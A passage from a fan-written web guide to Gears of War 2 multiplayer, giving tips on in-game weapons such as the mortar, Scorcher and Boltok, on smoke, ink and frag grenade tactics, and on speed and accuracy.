<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-mortar.gif" alt="stats-weap-mortar" width="412" height="166" /></p>
<p>Firing the mortar is simple. However there are two techniques used for the mortar to be effective.</p>
<h4>Raining in my Head</h4>
<p>Walk into the building with a mortar(easier said than done) and fire it inside, the mortar shell will hit the ceiling and break apart and fall down on the inside of the house. Be sure to move out of there as fast as possible.</p>
<h4>Hip Fire</h4>
<p>Fire the mortar from the hip, raise your camera so your looking up to do this though, otherwise the mortar just dumps into the floor.</p>
<p>CAUTION: Right now the mortar is buggy, only 50% of the time do they hip fires explode, or the mortar will fire before you even hit the trigger. Too many bugs for it to be a reliable weapon except for the standard shot.</p>
<h3>Mulcher</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-mulcher.gif" alt="stats-weap-mulcher" width="412" height="166" /></p>
<p>Point and aim. Try and stay behind cover, use LB often to cool the gun instead of keeping the heat levels high, being able to dump your full heat bar into open enemies is important.</p>
<h3>Scorcher</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-scorcher.gif" alt="stats-weap-scorcher" width="412" height="166" /></p>
<p>Active Reload as much as possible. Now if a smoke grenade is coming be sure to hold down your fire button, so when you get smoked you will keep firing flames. After stunned the flamethrower will continue to fire as your downed.</p>
<h4>Bouncing the Fire</h4>
<p>When actived you can fire against the floor when they are behind cover and still burn them.</p>
<h4>Hot Swapping</h4>
<p>After hitting someone, f they escape your flame switch to your pistol and unload on them. That way you can down them from afar.</p>
<h3>Lancer</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-lancer.gif" alt="stats-weap-lancer" width="412" height="166" /></p>
<p>Noob Patrol!   Just kidding&#8230;</p>
<p>The lancer does sub par damage but has a nice slow on it, when directly firing on an enemy for a good period of time they will be slowed down.</p>
<p>The chainsaw is invaluable if used right, it is a good ninja technique, because the more veteran players won&#8217;t expect it to be around the corner. However straightforward the chainsaw is a poor technique.</p>
<h3>Hammer of Dawn</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-hammerofdawn.gif" alt="stats-weap-hammerofdawn" width="412" height="166" /></p>
<p>Aim hold and fire. Simple.</p>
<h3>Snub Pistol</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-snubpistol.gif" alt="stats-weap-snubpistol" width="412" height="166" /></p>
<p>Fire as fast as possible and aim. Great all around pistol.</p>
<h3>Boltok</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-boltokpistol.gif" alt="stats-weap-boltokpistol" width="412" height="166" /></p>
<p>Aim and fire, aim for the head, or if your wanting a headshot for sure, fire at the chest twice, the recoil of the second shot usually brings the gun to the head. If its actived three shots, sometimes two will down an opponent then the next shot will kill from a far even if its execution, but execution is harder to finish off since it requires a headshot.</p>
<h3>Gorgon</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-gorgon.gif" alt="stats-weap-gorgon" width="412" height="166" /></p>
<p>An impressive weapon if you can keep your aim on your target. If all bullets connect its as powerful as the hammer; If this weapon is actived and all bullets connect two trigger pulls will usually down the enemy.</p>
<h3>Number 9 Learning to Grenade</h3>
<h3>Smoke</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-smokegrenade.gif" alt="stats-weap-smokegrenade" width="412" height="166" /></p>
<p>The smoke grenade stuns for 2 seconds and if by stairs they will slide down those stairs for the duration of the stun.</p>
<h4>Offensively</h4>
<p>Throwing smokes at your enemy is a good way to down them, then go shotgun them in one hit. I recommend the hip fire for me its more accurate. Most people use the straight aim. Also smokes can be used to assist teammates since they cannot be effected by them only the enemies will be stunned, however your grenades will stun you.</p>
<h4>Defensively</h4>
<p>Planting a smoke can be a great defense however just planting against walls is way to noticeable. If you do a floor plant your opponent is much less likely to see the plant. Just aim at the floor and stand back a little and hit B.</p>
<h4>Countering</h4>
<p>Smokes can&#8217;t be body blown, meaning you can&#8217;t run by them and jump back, you will usually get stunned.  However you can fire your weapons on them to blow them.  And you can use their grenades for your own escape, simply jump away from the grenade, the stun will throw you further away from you enemies helping you avoid getting one shotted.</p>
<h3>Ink</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-inkgrenade.gif" alt="stats-weap-inkgrenade" width="412" height="166" /></p>
<h4>Offensive</h4>
<p>Throwing them into big frays works, it scatters the battle, or it kills a lot of people. Throwing inks behind the big battles works to cut off retreating enemies. You can also floor plant it and wait by them, when someone triggers them fire your ranged weapons into them, the ink explosion and small duration will be enough to help you down them quickly. Don&#8217;t tag with these, the tag won&#8217;t finish them, only down them, and then it becomes their ink explosion oddly enough.</p>
<h4>Defensive</h4>
<p>Smoke + Ink plant is perfect when they get stunned and inked. They usually always die.  Another defensive technique is to throw the ink early to cut off anyone running through, because if they ran through they would be so wounded few bullets will drop them.</p>
<h4>Counter</h4>
<p>Risking yourself through the ink makes a great barrier. The person who threw the ink will never run through it, they will take way to much damage since its theirs.</p>
<h2>Frag</h2>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-fraggrenade.gif" alt="stats-weap-fraggrenade" width="412" height="166" /></p>
<h4>Offensive</h4>
<p>Simply toss at the opponent. Or you can do the double toss. Where you toss two grenades and they chain react on each other, allows for mass deaths or trapping someone in between the two and guaranteeing the kill. Or you can tag them and they will die, but be wary, run from them, the explosion can kill you too.</p>
<h4>Defensive</h4>
<p>Floor plants. Are the best.</p>
<h4>Counter</h4>
<p>Shoot them or body blow them. (body blowing is running past the grenade slightly enough to trigger it, right when the grenade beeps roll back. You may take some damage but not a lot.</p>
<h3>Number 10 Speed and Accuracy</h3>
<h4>Speed</h4>
<p>The faster you move the better, in any sense. The faster you are to a weapon, the faster you can run, or the faster you can maneuver around someone. Speed is learned by watching someone; there is no other way to learn to do this effectively.</p>
<h4>Accuracy</h4>
<p>Every bullet counts, learn to shoot by them when they are behind cover the more accurate the attack the better you can master every technique in this guide. However this is learned by experience.</p>
<p style="text-align: center;"><a href="http://gwa.justasktheitguy.com/gears-of-war-news/gears-of-war-guide-part-1/">Go to Part 1</a> | <a href="http://gwa.justasktheitguy.com/gears-of-war-news/gears-of-war-guide-part-2/">Go to Part 2</a></p>
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